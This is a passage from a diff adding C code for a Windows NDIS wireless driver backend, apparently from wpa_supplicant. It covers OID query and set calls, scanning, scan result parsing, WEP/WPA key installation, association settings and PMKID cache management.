NDIS_802_11_CAPABILITY { + ULONG Length; + ULONG Version; + ULONG NoOfPMKIDs; + ULONG NoOfAuthEncryptPairsSupported; + NDIS_802_11_AUTHENTICATION_ENCRYPTION + AuthenticationEncryptionSupported[1]; +} NDIS_802_11_CAPABILITY; + +typedef UCHAR NDIS_802_11_PMKID_VALUE[16]; + +typedef struct BSSID_INFO { + NDIS_802_11_MAC_ADDRESS BSSID; + NDIS_802_11_PMKID_VALUE PMKID; +} BSSID_INFO; + +typedef struct NDIS_802_11_PMKID { + ULONG Length; + ULONG BSSIDInfoCount; + BSSID_INFO BSSIDInfo[1]; +} NDIS_802_11_PMKID; + +typedef struct PMKID_CANDIDATE { + NDIS_802_11_MAC_ADDRESS BSSID; + ULONG Flags; +} PMKID_CANDIDATE; + +#define NDIS_802_11_PMKID_CANDIDATE_PREAUTH_ENABLED 0x01 + +typedef struct NDIS_802_11_PMKID_CANDIDATE_LIST { + ULONG Version; + ULONG NumCandidates; + PMKID_CANDIDATE CandidateList[1]; +} NDIS_802_11_PMKID_CANDIDATE_LIST; + +#endif /* OID_802_11_CAPABILITY */ + + +#ifndef OID_DOT11_CURRENT_OPERATION_MODE +/* Native 802.11 OIDs */ +#define OID_DOT11_NDIS_START 0x0D010300 +#define OID_DOT11_CURRENT_OPERATION_MODE (OID_DOT11_NDIS_START + 8) +#define OID_DOT11_SCAN_REQUEST (OID_DOT11_NDIS_START + 11) + +typedef enum _DOT11_BSS_TYPE { + dot11_BSS_type_infrastructure = 1, + dot11_BSS_type_independent = 2, + dot11_BSS_type_any = 3 +} DOT11_BSS_TYPE, * PDOT11_BSS_TYPE; + +typedef UCHAR DOT11_MAC_ADDRESS[6]; +typedef DOT11_MAC_ADDRESS * PDOT11_MAC_ADDRESS; + +typedef enum _DOT11_SCAN_TYPE { + dot11_scan_type_active = 1, + dot11_scan_type_passive = 2, + dot11_scan_type_auto = 3, + dot11_scan_type_forced = 0x80000000 +} DOT11_SCAN_TYPE, * PDOT11_SCAN_TYPE; + +typedef struct _DOT11_SCAN_REQUEST_V2 { + DOT11_BSS_TYPE dot11BSSType; + DOT11_MAC_ADDRESS dot11BSSID; + DOT11_SCAN_TYPE dot11ScanType; + BOOLEAN bRestrictedScan; + ULONG udot11SSIDsOffset; + ULONG uNumOfdot11SSIDs; + BOOLEAN bUseRequestIE; + ULONG uRequestIDsOffset; + ULONG uNumOfRequestIDs; + ULONG uPhyTypeInfosOffset; + ULONG uNumOfPhyTypeInfos; + ULONG uIEsOffset; + ULONG uIEsLength; + UCHAR ucBuffer[1]; +} DOT11_SCAN_REQUEST_V2, * PDOT11_SCAN_REQUEST_V2; + +#endif /* OID_DOT11_CURRENT_OPERATION_MODE */ + +#ifdef CONFIG_USE_NDISUIO +#ifndef _WIN32_WCE +#ifdef __MINGW32_VERSION +typedef ULONG NDIS_OID; +#endif /* __MINGW32_VERSION */ +/* from nuiouser.h */ +#define FSCTL_NDISUIO_BASE FILE_DEVICE_NETWORK + +#define _NDISUIO_CTL_CODE(_Function, _Method, _Access) \ + CTL_CODE(FSCTL_NDISUIO_BASE, _Function, _Method, _Access) + +#define IOCTL_NDISUIO_OPEN_DEVICE \ + _NDISUIO_CTL_CODE(0x200, METHOD_BUFFERED, \ + FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +#define IOCTL_NDISUIO_QUERY_OID_VALUE \ + _NDISUIO_CTL_CODE(0x201, METHOD_BUFFERED, \ + FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +#define IOCTL_NDISUIO_SET_OID_VALUE \ + _NDISUIO_CTL_CODE(0x205, METHOD_BUFFERED, \ + FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +#define IOCTL_NDISUIO_SET_ETHER_TYPE \ + _NDISUIO_CTL_CODE(0x202, METHOD_BUFFERED, \ + FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +#define IOCTL_NDISUIO_QUERY_BINDING \ + _NDISUIO_CTL_CODE(0x203, METHOD_BUFFERED, \ + FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +#define IOCTL_NDISUIO_BIND_WAIT \ + _NDISUIO_CTL_CODE(0x204, METHOD_BUFFERED, \ + FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +typedef struct _NDISUIO_QUERY_OID +{ + NDIS_OID Oid; + UCHAR Data[sizeof(ULONG)]; +} NDISUIO_QUERY_OID, *PNDISUIO_QUERY_OID; + +typedef struct _NDISUIO_SET_OID +{ + NDIS_OID Oid; + UCHAR Data[sizeof(ULONG)]; +} NDISUIO_SET_OID, *PNDISUIO_SET_OID; + +typedef struct _NDISUIO_QUERY_BINDING +{ + ULONG BindingIndex; + ULONG DeviceNameOffset; + ULONG DeviceNameLength; + ULONG DeviceDescrOffset; + ULONG DeviceDescrLength; +} NDISUIO_QUERY_BINDING, *PNDISUIO_QUERY_BINDING; +#endif /* _WIN32_WCE */ +#endif /* CONFIG_USE_NDISUIO */ + + +static int ndis_get_oid(struct wpa_driver_ndis_data *drv, unsigned int oid, + char *data, size_t len) +{ +#ifdef CONFIG_USE_NDISUIO + NDISUIO_QUERY_OID *o; + size_t buflen = sizeof(*o) + len; + DWORD written; + int ret; + size_t hdrlen; + + o = os_zalloc(buflen); + if (o == NULL) + return -1; + o->Oid = oid; +#ifdef _WIN32_WCE + o->ptcDeviceName = drv->adapter_name; +#endif /* _WIN32_WCE */ + if (!DeviceIoControl(drv->ndisuio, IOCTL_NDISUIO_QUERY_OID_VALUE, + o, sizeof(NDISUIO_QUERY_OID), o, buflen, &written, + NULL)) { + wpa_printf(MSG_DEBUG, "NDIS: IOCTL_NDISUIO_QUERY_OID_VALUE " + "failed (oid=%08x): %d", oid, (int) GetLastError()); + os_free(o); + return -1; + } + hdrlen = sizeof(NDISUIO_QUERY_OID) - sizeof(o->Data); + if (written < hdrlen) { + wpa_printf(MSG_DEBUG, "NDIS: query oid=%08x written (%d); " + "too short", oid, (unsigned int) written); + os_free(o); + return -1; + } + written -= hdrlen; + if (written > len) { + wpa_printf(MSG_DEBUG, "NDIS: query oid=%08x written (%d) > " + "len (%d)",oid, (unsigned int) written, len); + os_free(o); + return -1; + } + os_memcpy(data, o->Data, written); + ret = written; + os_free(o); + return ret; +#else /* CONFIG_USE_NDISUIO */ + char *buf; + PACKET_OID_DATA *o; + int ret; + + buf = os_zalloc(sizeof(*o) + len); + if (buf == NULL) + return -1; + o = (PACKET_OID_DATA *) buf; + o->Oid = oid; + o->Length = len; + + if (!PacketRequest(drv->adapter, FALSE, o)) { + wpa_printf(MSG_DEBUG, "%s: oid=0x%x len (%d) failed", + __func__, oid, len); + os_free(buf); + return -1; + } + if (o->Length > len) { + wpa_printf(MSG_DEBUG, "%s: oid=0x%x Length (%d) > len (%d)", + __func__, oid, (unsigned int) o->Length, len); + os_free(buf); + return -1; + } + os_memcpy(data, o->Data, o->Length); + ret = o->Length; + os_free(buf); + return ret; +#endif /* CONFIG_USE_NDISUIO */ +} + + +static int ndis_set_oid(struct wpa_driver_ndis_data *drv, unsigned int oid, + const char *data, size_t len) +{ +#ifdef CONFIG_USE_NDISUIO + NDISUIO_SET_OID *o; + size_t buflen, reallen; + DWORD written; + char txt[50]; + + os_snprintf(txt, sizeof(txt), "NDIS: Set OID %08x", oid); + wpa_hexdump_key(MSG_MSGDUMP, txt, (const u8 *) data, len); + + buflen = sizeof(*o) + len; + reallen = buflen - sizeof(o->Data); + o = os_zalloc(buflen); + if (o == NULL) + return -1; + o->Oid = oid; +#ifdef _WIN32_WCE + o->ptcDeviceName = drv->adapter_name; +#endif /* _WIN32_WCE */ + if (data) + os_memcpy(o->Data, data, len); + if (!DeviceIoControl(drv->ndisuio, IOCTL_NDISUIO_SET_OID_VALUE, + o, reallen, NULL, 0, &written, NULL)) { + wpa_printf(MSG_DEBUG, "NDIS: IOCTL_NDISUIO_SET_OID_VALUE " + "(oid=%08x) failed: %d", oid, (int) GetLastError()); + os_free(o); + return -1; + } + os_free(o); + return 0; +#else /* CONFIG_USE_NDISUIO */ + char *buf; + PACKET_OID_DATA *o; + char txt[50]; + + os_snprintf(txt, sizeof(txt), "NDIS: Set OID %08x", oid); + wpa_hexdump_key(MSG_MSGDUMP, txt, (const u8 *) data, len); + + buf = os_zalloc(sizeof(*o) + len); + if (buf == NULL) + return -1; + o = (PACKET_OID_DATA *) buf; + o->Oid = oid; + o->Length = len; + if (data) + os_memcpy(o->Data, data, len); + + if (!PacketRequest(drv->adapter, TRUE, o)) { + wpa_printf(MSG_DEBUG, "%s: oid=0x%x len (%d) failed", + __func__, oid, len); + os_free(buf); + return -1; + } + os_free(buf); + return 0; +#endif /* CONFIG_USE_NDISUIO */ +} + + +static int ndis_set_auth_mode(struct wpa_driver_ndis_data *drv, int mode) +{ + u32 auth_mode = mode; + if (ndis_set_oid(drv, OID_802_11_AUTHENTICATION_MODE, + (char *) &auth_mode, sizeof(auth_mode)) < 0) { + wpa_printf(MSG_DEBUG, "NDIS: Failed to set " + "OID_802_11_AUTHENTICATION_MODE (%d)", + (int) auth_mode); + return -1; + } + return 0; +} + + +static int ndis_get_auth_mode(struct wpa_driver_ndis_data *drv) +{ + u32 auth_mode; + int res; + res = ndis_get_oid(drv, OID_802_11_AUTHENTICATION_MODE, + (char *) &auth_mode, sizeof(auth_mode)); + if (res != sizeof(auth_mode)) { + wpa_printf(MSG_DEBUG, "NDIS: Failed to get " + "OID_802_11_AUTHENTICATION_MODE"); + return -1; + } + return auth_mode; +} + + +static int ndis_set_encr_status(struct wpa_driver_ndis_data *drv, int encr) +{ + u32 encr_status = encr; + if (ndis_set_oid(drv, OID_802_11_ENCRYPTION_STATUS, + (char *) &encr_status, sizeof(encr_status)) < 0) { + wpa_printf(MSG_DEBUG, "NDIS: Failed to set " + "OID_802_11_ENCRYPTION_STATUS (%d)", encr); + return -1; + } + return 0; +} + + +static int ndis_get_encr_status(struct wpa_driver_ndis_data *drv) +{ + u32 encr; + int res; + res = ndis_get_oid(drv, OID_802_11_ENCRYPTION_STATUS, + (char *) &encr, sizeof(encr)); + if (res != sizeof(encr)) { + wpa_printf(MSG_DEBUG, "NDIS: Failed to get " + "OID_802_11_ENCRYPTION_STATUS"); + return -1; + } + return encr; +} + + +static int wpa_driver_ndis_get_bssid(void *priv, u8 *bssid) +{ + struct wpa_driver_ndis_data *drv = priv; + + if (drv->wired) { + /* + * Report PAE group address as the "BSSID" for wired + * connection. + */ + os_memcpy(bssid, pae_group_addr, ETH_ALEN); + return 0; + } + + return ndis_get_oid(drv, OID_802_11_BSSID, (char *) bssid, ETH_ALEN) < + 0 ? -1 : 0; +} + + +static int wpa_driver_ndis_get_ssid(void *priv, u8 *ssid) +{ + struct wpa_driver_ndis_data *drv = priv; + NDIS_802_11_SSID buf; + int res; + + res = ndis_get_oid(drv, OID_802_11_SSID, (char *) &buf, sizeof(buf)); + if (res < 4) { + wpa_printf(MSG_DEBUG, "NDIS: Failed to get SSID"); + if (drv->wired) { + wpa_printf(MSG_DEBUG, "NDIS: Allow get_ssid failure " + "with a wired interface"); + return 0; + } + return -1; + } + os_memcpy(ssid, buf.Ssid, buf.SsidLength); + return buf.SsidLength; +} + + +static int wpa_driver_ndis_set_ssid(struct wpa_driver_ndis_data *drv, + const u8 *ssid, size_t ssid_len) +{ + NDIS_802_11_SSID buf; + + os_memset(&buf, 0, sizeof(buf)); + buf.SsidLength = ssid_len; + os_memcpy(buf.Ssid, ssid, ssid_len); + /* + * Make sure radio is marked enabled here so that scan request will not + * force SSID to be changed to a random one in order to enable radio at + * that point. + */ + drv->radio_enabled = 1; + return ndis_set_oid(drv, OID_802_11_SSID, (char *) &buf, sizeof(buf)); +} + + +/* Disconnect using OID_802_11_DISASSOCIATE. This will also turn the radio off. + */ +static int wpa_driver_ndis_radio_off(struct wpa_driver_ndis_data *drv) +{ + drv->radio_enabled = 0; + return ndis_set_oid(drv, OID_802_11_DISASSOCIATE, " ", 4); +} + + +/* Disconnect by setting SSID to random (i.e., likely not used). */ +static int wpa_driver_ndis_disconnect(struct wpa_driver_ndis_data *drv) +{ + char ssid[32]; + int i; + for (i = 0; i < 32; i++) + ssid[i] = rand() & 0xff; + return wpa_driver_ndis_set_ssid(drv, (u8 *) ssid, 32); +} + + +static int wpa_driver_ndis_deauthenticate(void *priv, const u8 *addr, + int reason_code) +{ + struct wpa_driver_ndis_data *drv = priv; + return wpa_driver_ndis_disconnect(drv); +} + + +static void wpa_driver_ndis_scan_timeout(void *eloop_ctx, void *timeout_ctx) +{ + wpa_printf(MSG_DEBUG, "Scan timeout - try to get results"); + wpa_supplicant_event(timeout_ctx, EVENT_SCAN_RESULTS, NULL); +} + + +static int wpa_driver_ndis_scan_native80211( + struct wpa_driver_ndis_data *drv, + struct wpa_driver_scan_params *params) +{ + DOT11_SCAN_REQUEST_V2 req; + int res; + + os_memset(&req, 0, sizeof(req)); + req.dot11BSSType = dot11_BSS_type_any; + os_memset(req.dot11BSSID, 0xff, ETH_ALEN); + req.dot11ScanType = dot11_scan_type_auto; + res = ndis_set_oid(drv, OID_DOT11_SCAN_REQUEST, (char *) &req, + sizeof(req)); + eloop_cancel_timeout(wpa_driver_ndis_scan_timeout, drv, drv->ctx); + eloop_register_timeout(7, 0, wpa_driver_ndis_scan_timeout, drv, + drv->ctx); + return res; +} + + +static int wpa_driver_ndis_scan(void *priv, + struct wpa_driver_scan_params *params) +{ + struct wpa_driver_ndis_data *drv = priv; + int res; + + if (drv->native80211) + return wpa_driver_ndis_scan_native80211(drv, params); + + if (!drv->radio_enabled) { + wpa_printf(MSG_DEBUG, "NDIS: turning radio on before the first" + " scan"); + if (wpa_driver_ndis_disconnect(drv) < 0) { + wpa_printf(MSG_DEBUG, "NDIS: failed to enable radio"); + } + drv->radio_enabled = 1; + } + + res = ndis_set_oid(drv, OID_802_11_BSSID_LIST_SCAN, " ", 4); + eloop_cancel_timeout(wpa_driver_ndis_scan_timeout, drv, drv->ctx); + eloop_register_timeout(7, 0, wpa_driver_ndis_scan_timeout, drv, + drv->ctx); + return res; +} + + +static const u8 * wpa_scan_get_ie(const struct wpa_scan_res *res, u8 ie) +{ + const u8 *end, *pos; + + pos = (const u8 *) (res + 1); + end = pos + res->ie_len; + + while (pos + 1 < end) { + if (pos + 2 + pos[1] > end) + break; + if (pos[0] == ie) + return pos; + pos += 2 + pos[1]; + } + + return NULL; +} + + +static struct wpa_scan_res * wpa_driver_ndis_add_scan_ssid( + struct wpa_scan_res *r, NDIS_802_11_SSID *ssid) +{ + struct wpa_scan_res *nr; + u8 *pos; + + if (wpa_scan_get_ie(r, WLAN_EID_SSID)) + return r; /* SSID IE already present */ + + if (ssid->SsidLength == 0 || ssid->SsidLength > 32) + return r; /* No valid SSID inside scan data */ + + nr = os_realloc(r, sizeof(*r) + r->ie_len + 2 + ssid->SsidLength); + if (nr == NULL) + return r; + + pos = ((u8 *) (nr + 1)) + nr->ie_len; + *pos++ = WLAN_EID_SSID; + *pos++ = ssid->SsidLength; + os_memcpy(pos, ssid->Ssid, ssid->SsidLength); + nr->ie_len += 2 + ssid->SsidLength; + + return nr; +} + + +static struct wpa_scan_results * wpa_driver_ndis_get_scan_results(void *priv) +{ + struct wpa_driver_ndis_data *drv = priv; + NDIS_802_11_BSSID_LIST_EX *b; + size_t blen, count, i; + int len; + char *pos; + struct wpa_scan_results *results; + struct wpa_scan_res *r; + + blen = 65535; + b = os_zalloc(blen); + if (b == NULL) + return NULL; + len = ndis_get_oid(drv, OID_802_11_BSSID_LIST, (char *) b, blen); + if (len < 0) { + wpa_printf(MSG_DEBUG, "NDIS: failed to get scan results"); + os_free(b); + return NULL; + } + count = b->NumberOfItems; + + results = os_zalloc(sizeof(*results)); + if (results == NULL) { + os_free(b); + return NULL; + } + results->res = os_calloc(count, sizeof(struct wpa_scan_res *)); + if (results->res == NULL) { + os_free(results); + os_free(b); + return NULL; + } + + pos = (char *) &b->Bssid[0]; + for (i = 0; i < count; i++) { + NDIS_WLAN_BSSID_EX *bss = (NDIS_WLAN_BSSID_EX *) pos; + NDIS_802_11_FIXED_IEs *fixed; + + if (bss->IELength < sizeof(NDIS_802_11_FIXED_IEs)) { + wpa_printf(MSG_DEBUG, "NDIS: too small IELength=%d", + (int) bss->IELength); + break; + } + if (((char *) bss->IEs) + bss->IELength > (char *) b + blen) { + /* + * Some NDIS drivers have been reported to include an + * entry with an invalid IELength in scan results and + * this has crashed wpa_supplicant, so validate the + * returned value before using it. + */ + wpa_printf(MSG_DEBUG, "NDIS: skipped invalid scan " + "result IE (BSSID=" MACSTR ") IELength=%d", + MAC2STR(bss->MacAddress), + (int) bss->IELength); + break; + } + + r = os_zalloc(sizeof(*r) + bss->IELength - + sizeof(NDIS_802_11_FIXED_IEs)); + if (r == NULL) + break; + + os_memcpy(r->bssid, bss->MacAddress, ETH_ALEN); + r->level = (int) bss->Rssi; + r->freq = bss->Configuration.DSConfig / 1000; + fixed = (NDIS_802_11_FIXED_IEs *) bss->IEs; + r->beacon_int = WPA_GET_LE16((u8 *) &fixed->BeaconInterval); + r->caps = WPA_GET_LE16((u8 *) &fixed->Capabilities); + r->tsf = WPA_GET_LE64(fixed->Timestamp); + os_memcpy(r + 1, bss->IEs + sizeof(NDIS_802_11_FIXED_IEs), + bss->IELength - sizeof(NDIS_802_11_FIXED_IEs)); + r->ie_len = bss->IELength - sizeof(NDIS_802_11_FIXED_IEs); + r = wpa_driver_ndis_add_scan_ssid(r, &bss->Ssid); + + results->res[results->num++] = r; + + pos += bss->Length; + if (pos > (char *) b + blen) + break; + } + + os_free(b); + + return results; +} + + +static int wpa_driver_ndis_remove_key(struct wpa_driver_ndis_data *drv, + int key_idx, const u8 *addr, + const u8 *bssid, int pairwise) +{ + NDIS_802_11_REMOVE_KEY rkey; + NDIS_802_11_KEY_INDEX index; + int res, res2; + + os_memset(&rkey, 0, sizeof(rkey)); + + rkey.Length = sizeof(rkey); + rkey.KeyIndex = key_idx; + if (pairwise) + rkey.KeyIndex |= 1 << 30; + os_memcpy(rkey.BSSID, bssid, ETH_ALEN); + + res = ndis_set_oid(drv, OID_802_11_REMOVE_KEY, (char *) &rkey, + sizeof(rkey)); + if (!pairwise) { + index = key_idx; + res2 = ndis_set_oid(drv, OID_802_11_REMOVE_WEP, + (char *) &index, sizeof(index)); + } else + res2 = 0; + + if (res < 0 && res2 < 0) + return -1; + return 0; +} + + +static int wpa_driver_ndis_add_wep(struct wpa_driver_ndis_data *drv, + int pairwise, int key_idx, int set_tx, + const u8 *key, size_t key_len) +{ + NDIS_802_11_WEP *wep; + size_t len; + int res; + + len = 12 + key_len; + wep = os_zalloc(len); + if (wep == NULL) + return -1; + wep->Length = len; + wep->KeyIndex = key_idx; + if (set_tx) + wep->KeyIndex |= 1 << 31; +#if 0 /* Setting bit30 does not seem to work with some NDIS drivers */ + if (pairwise) + wep->KeyIndex |= 1 << 30; +#endif + wep->KeyLength = key_len; + os_memcpy(wep->KeyMaterial, key, key_len); + + wpa_hexdump_key(MSG_MSGDUMP, "NDIS: OID_802_11_ADD_WEP", + (u8 *) wep, len); + res = ndis_set_oid(drv, OID_802_11_ADD_WEP, (char *) wep, len); + + os_free(wep); + + return res; +} + + +static int wpa_driver_ndis_set_key(const char *ifname, void *priv, + enum wpa_alg alg, const u8 *addr, + int key_idx, int set_tx, + const u8 *seq, size_t seq_len, + const u8 *key, size_t key_len) +{ + struct wpa_driver_ndis_data *drv = priv; + size_t len, i; + NDIS_802_11_KEY *nkey; + int res, pairwise; + u8 bssid[ETH_ALEN]; + + if (addr == NULL || is_broadcast_ether_addr(addr)) { + /* Group Key */ + pairwise = 0; + if (wpa_driver_ndis_get_bssid(drv, bssid) < 0) + os_memset(bssid, 0xff, ETH_ALEN); + } else { + /* Pairwise Key */ + pairwise = 1; + os_memcpy(bssid, addr, ETH_ALEN); + } + + if (alg == WPA_ALG_NONE || key_len == 0) { + return wpa_driver_ndis_remove_key(drv, key_idx, addr, bssid, + pairwise); + } + + if (alg == WPA_ALG_WEP) { + return wpa_driver_ndis_add_wep(drv, pairwise, key_idx, set_tx, + key, key_len); + } + + len = 12 + 6 + 6 + 8 + key_len; + + nkey = os_zalloc(len); + if (nkey == NULL) + return -1; + + nkey->Length = len; + nkey->KeyIndex = key_idx; + if (set_tx) + nkey->KeyIndex |= 1 << 31; + if (pairwise) + nkey->KeyIndex |= 1 << 30; + if (seq && seq_len) + nkey->KeyIndex |= 1 << 29; + nkey->KeyLength = key_len; + os_memcpy(nkey->BSSID, bssid, ETH_ALEN); + if (seq && seq_len) { + for (i = 0; i < seq_len; i++) + nkey->KeyRSC |= (ULONGLONG) seq[i] << (i * 8); + } + if (alg == WPA_ALG_TKIP && key_len == 32) { + os_memcpy(nkey->KeyMaterial, key, 16); + os_memcpy(nkey->KeyMaterial + 16, key + 24, 8); + os_memcpy(nkey->KeyMaterial + 24, key + 16, 8); + } else { + os_memcpy(nkey->KeyMaterial, key, key_len); + } + + wpa_hexdump_key(MSG_MSGDUMP, "NDIS: OID_802_11_ADD_KEY", + (u8 *) nkey, len); + res = ndis_set_oid(drv, OID_802_11_ADD_KEY, (char *) nkey, len); + os_free(nkey); + + return res; +} + + +static int +wpa_driver_ndis_associate(void *priv, + struct wpa_driver_associate_params *params) +{ + struct wpa_driver_ndis_data *drv = priv; + u32 auth_mode, encr, priv_mode, mode; + u8 bcast[ETH_ALEN] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }; + + drv->mode = params->mode; + + /* Note: Setting OID_802_11_INFRASTRUCTURE_MODE clears current keys, + * so static WEP keys needs to be set again after this. */ + if (params->mode == IEEE80211_MODE_IBSS) { + mode = Ndis802_11IBSS; + /* Need to make sure that BSSID polling is enabled for + * IBSS mode. */ + eloop_cancel_timeout(wpa_driver_ndis_poll_timeout, drv, NULL); + eloop_register_timeout(1, 0, wpa_driver_ndis_poll_timeout, + drv, NULL); + } else + mode = Ndis802_11Infrastructure; + if (ndis_set_oid(drv, OID_802_11_INFRASTRUCTURE_MODE, + (char *) &mode, sizeof(mode)) < 0) { + wpa_printf(MSG_DEBUG, "NDIS: Failed to set " + "OID_802_11_INFRASTRUCTURE_MODE (%d)", + (int) mode); + /* Try to continue anyway */ + } + + if (params->key_mgmt_suite == KEY_MGMT_NONE || + params->key_mgmt_suite == KEY_MGMT_802_1X_NO_WPA) { + /* Re-set WEP keys if static WEP configuration is used. */ + int i; + for (i = 0; i < 4; i++) { + if (!params->wep_key[i]) + continue; + wpa_printf(MSG_DEBUG, "NDIS: Re-setting static WEP " + "key %d", i); + wpa_driver_ndis_set_key(drv->ifname, drv, WPA_ALG_WEP, + bcast, i, + i == params->wep_tx_keyidx, + NULL, 0, params->wep_key[i], + params->wep_key_len[i]); + } + } + + if (params->wpa_ie == NULL || params->wpa_ie_len == 0) { + if (params->auth_alg & WPA_AUTH_ALG_SHARED) { + if (params->auth_alg & WPA_AUTH_ALG_OPEN) + auth_mode = Ndis802_11AuthModeAutoSwitch; + else + auth_mode = Ndis802_11AuthModeShared; + } else + auth_mode = Ndis802_11AuthModeOpen; + priv_mode = Ndis802_11PrivFilterAcceptAll; + } else if (params->wpa_ie[0] == WLAN_EID_RSN) { + priv_mode = Ndis802_11PrivFilter8021xWEP; + if (params->key_mgmt_suite == KEY_MGMT_PSK) + auth_mode = Ndis802_11AuthModeWPA2PSK; + else + auth_mode = Ndis802_11AuthModeWPA2; +#ifdef CONFIG_WPS + } else if (params->key_mgmt_suite == KEY_MGMT_WPS) { + auth_mode = Ndis802_11AuthModeOpen; + priv_mode = Ndis802_11PrivFilterAcceptAll; + if (params->wps == WPS_MODE_PRIVACY) { + u8 dummy_key[5] = { 0x11, 0x22, 0x33, 0x44, 0x55 }; + /* + * Some NDIS drivers refuse to associate in open mode + * configuration due to Privacy field mismatch, so use + * a workaround to make the configuration look like + * matching one for WPS provisioning. + */ + wpa_printf(MSG_DEBUG, "NDIS: Set dummy WEP key as a " + "workaround to allow driver to associate " + "for WPS"); + wpa_driver_ndis_set_key(drv->ifname, drv, WPA_ALG_WEP, + bcast, 0, 1, + NULL, 0, dummy_key, + sizeof(dummy_key)); + } +#endif /* CONFIG_WPS */ + } else { + priv_mode = Ndis802_11PrivFilter8021xWEP; + if (params->key_mgmt_suite == KEY_MGMT_WPA_NONE) + auth_mode = Ndis802_11AuthModeWPANone; + else if (params->key_mgmt_suite == KEY_MGMT_PSK) + auth_mode = Ndis802_11AuthModeWPAPSK; + else + auth_mode = Ndis802_11AuthModeWPA; + } + + switch (params->pairwise_suite) { + case CIPHER_CCMP: + encr = Ndis802_11Encryption3Enabled; + break; + case CIPHER_TKIP: + encr = Ndis802_11Encryption2Enabled; + break; + case CIPHER_WEP40: + case CIPHER_WEP104: + encr = Ndis802_11Encryption1Enabled; + break; + case CIPHER_NONE: +#ifdef CONFIG_WPS + if (params->wps == WPS_MODE_PRIVACY) { + encr = Ndis802_11Encryption1Enabled; + break; + } +#endif /* CONFIG_WPS */ + if (params->group_suite == CIPHER_CCMP) + encr = Ndis802_11Encryption3Enabled; + else if (params->group_suite == CIPHER_TKIP) + encr = Ndis802_11Encryption2Enabled; + else + encr = Ndis802_11EncryptionDisabled; + break; + default: +#ifdef CONFIG_WPS + if (params->wps == WPS_MODE_PRIVACY) { + encr = Ndis802_11Encryption1Enabled; + break; + } +#endif /* CONFIG_WPS */ + encr = Ndis802_11EncryptionDisabled; + break; + }; + + if (ndis_set_oid(drv, OID_802_11_PRIVACY_FILTER, + (char *) &priv_mode, sizeof(priv_mode)) < 0) { + wpa_printf(MSG_DEBUG, "NDIS: Failed to set " + "OID_802_11_PRIVACY_FILTER (%d)", + (int) priv_mode); + /* Try to continue anyway */ + } + + ndis_set_auth_mode(drv, auth_mode); + ndis_set_encr_status(drv, encr); + + if (params->bssid) { + ndis_set_oid(drv, OID_802_11_BSSID, (char *) params->bssid, + ETH_ALEN); + drv->oid_bssid_set = 1; + } else if (drv->oid_bssid_set) { + ndis_set_oid(drv, OID_802_11_BSSID, "\xff\xff\xff\xff\xff\xff", + ETH_ALEN); + drv->oid_bssid_set = 0; + } + + return wpa_driver_ndis_set_ssid(drv, params->ssid, params->ssid_len); +} + + +static int wpa_driver_ndis_set_pmkid(struct wpa_driver_ndis_data *drv) +{ + int len, count, i, ret; + struct ndis_pmkid_entry *entry; + NDIS_802_11_PMKID *p; + + count = 0; + entry = drv->pmkid; + while (entry) { + count++; + if (count >= drv->no_of_pmkid) + break; + entry = entry->next; + } + len = 8 + count * sizeof(BSSID_INFO); + p = os_zalloc(len); + if (p == NULL) + return -1; + + p->Length = len; + p->BSSIDInfoCount = count; + entry = drv->pmkid; + for (i = 0; i < count; i++) { + os_memcpy(&p->BSSIDInfo[i].BSSID, entry->bssid, ETH_ALEN); + os_memcpy(&p->BSSIDInfo[i].PMKID, entry->pmkid, 16); + entry = entry->next; + } + wpa_hexdump(MSG_MSGDUMP, "NDIS: OID_802_11_PMKID", (u8 *) p, len); + ret = ndis_set_oid(drv, OID_802_11_PMKID, (char *) p, len); + os_free(p); + return ret; +} + + +static int wpa_driver_ndis_add_pmkid(void *priv, const u8 *bssid, + const u8 *pmkid) +{ + struct wpa_driver_ndis_data *drv = priv; + struct ndis_pmkid_entry *entry, *prev; + + if (drv->no_of_pmkid == 0) + return 0; + + prev = NULL; + entry = drv->pmkid; + while (entry) { + if (os_memcmp(entry->bssid, bssid, ETH_ALEN) == 0) + break; + prev = entry; + entry = entry->next; + } + + if (entry) { + /* Replace existing entry for this BSSID and move it into the + * beginning of the list. */ + os_memcpy(entry->pmkid, pmkid, 16); + if (prev) { + prev->next = entry->next; + entry->next = drv->pmkid; + drv->pmkid = entry; + } + } else { + entry = os_malloc(sizeof(*entry)); + if (entry) { + os_memcpy(entry->bssid, bssid, ETH_ALEN); + os_memcpy(entry->pmkid, pmkid, 16); + entry->next = drv->pmkid; + drv->pmkid = entry; + } + } + + return wpa_driver_ndis_set_pmkid(drv); +} + + +static int wpa_driver_ndis_remove_pmkid(void *priv, const u8 *bssid, + const u8 *pmkid) +{ + struct wpa_driver_ndis_data *drv = priv; + struct ndis_pmkid_entry *entry, *prev; + + if (drv->no_of_pmkid == 0) + return 0; + + entry = drv->pmkid; + prev = NULL; + while (entry) { + if (os_memcmp(entry->bssid, bssid, ETH_ALEN) == 0 && + os_memcmp(entry->pmkid, pmkid, 16) == 0) { + if (prev) + prev->next = entry->next; + else + drv->pmkid = entry->next; + os_free(entry); + break; + } + prev = entry; + entry = entry->next; + } + return wpa_driver_ndis_set_pmkid(drv); +} + + +static int wpa_driver_ndis_flush_pmkid(void *priv) +{ + struct wpa_driver_ndis_data *drv = priv; + NDIS_802_11_PMKID p; + struct ndis_pmkid_entry *pmkid, *prev; + int prev_authmode, ret; + + if (drv->no_of_pmkid == 0) + return 0; + + pmkid = drv->pmkid; + drv->pmkid = NULL; + while (pmkid) { + prev = pmkid; + pmkid = pmkid->next; + os_free(prev); + } + + /* + * Some drivers may refuse OID_802_11_PMKID if authMode is not set to + * WPA2, so change authMode temporarily, if needed. + */ + prev_authmode = ndis_get_auth_mode(drv); + if (prev_authmode != Ndis802_11AuthModeWPA2) + ndis_set_auth_mode(drv, Ndis802_11AuthModeWPA2); + + os_memset(&p, 0, sizeof(p)); + p.Length = 8; + p.BSSIDInfoCount = 0; + wpa_hexdump(MSG_MSGDUMP, "NDIS: OID_802_11_PMKID (flush)", + (u8 *) &p, 8); + ret = ndis_set_oid(drv, OID_802_11_PMKID, (char *) &p, 8); + + if (prev_authmode != Ndis802_11AuthModeWPA2) + ndis_set_auth_mode(drv, prev_authmode); + + return ret; +} + + +static int wpa_driver_ndis_get_associnfo(struct wpa_driver_ndis_data *drv) +{ 